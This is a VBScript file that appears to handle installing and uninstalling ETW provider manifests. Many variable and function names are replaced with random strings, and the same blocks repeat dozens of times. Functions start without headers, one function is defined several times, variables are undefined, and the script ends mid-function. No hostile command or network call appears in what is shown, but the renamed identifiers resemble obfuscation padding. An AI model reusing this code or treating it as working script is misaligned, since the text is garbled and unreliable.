' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
